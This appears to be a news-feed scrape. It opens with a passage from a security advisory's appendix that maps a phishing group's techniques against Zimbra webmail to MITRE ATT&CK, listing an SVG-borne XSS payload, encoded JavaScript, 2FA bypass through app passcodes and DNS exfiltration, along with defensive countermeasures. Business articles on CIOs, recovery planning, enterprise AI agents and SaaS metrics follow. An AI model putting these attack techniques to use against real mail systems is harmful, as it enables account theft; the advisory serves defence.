This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ Sat, 25 Jul 2026 18:57:42 +0200 📰 IT Security Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[Principles every enterprise must test before the attack arrives]]> https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ Sat, 25 Jul 2026 18:55:54 +0200 📰 IT Security Nachrichten tsecurity.de

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]> https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ Sat, 25 Jul 2026 18:55:52 +0200 📰 IT Security Nachrichten tsecurity.de

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

  • Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
  • Smarter: The system around the model decides more than the model does.
  • Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

]]> <![CDATA[The new value architecture of the AI-native SaaS era]]> https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

  • AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
  • Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
  • These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

  1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
  2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
  3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
  4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
  5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

  • Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
  • Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
  • Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
  • Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

  • Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
  • Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
  • Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
  • AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

  • Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
  • Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
  • Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

